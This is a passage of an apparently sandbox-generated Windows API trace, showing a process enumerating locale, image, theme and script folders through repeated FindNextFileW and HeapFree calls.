ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0186.645] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.645] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0186.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.646] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0186.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.646] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0186.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.646] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0186.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.646] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0186.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.647] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0186.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.647] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0186.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.647] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0186.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.647] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0186.647] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.647] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0186.648] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.648] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0186.648] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.648] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0186.648] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.648] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0186.648] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.648] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0186.648] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.648] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0186.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.649] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0186.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.649] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0186.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.649] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0186.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.649] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0186.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.649] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0186.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.649] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0186.650] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.650] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0186.650] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.650] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0186.650] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.650] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0186.650] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.650] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0186.650] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.650] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0186.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.651] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0186.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.651] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0186.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.651] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0186.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.651] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0186.651] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0186.652] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.653] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 0 [0186.653] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0186.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0186.653] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0186.653] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0186.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0186.656] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1 [0186.853] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.854] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0186.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.862] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0186.862] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0186.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0186.863] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0186.863] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0186.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0186.863] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0186.875] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.875] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0186.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0186.876] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", 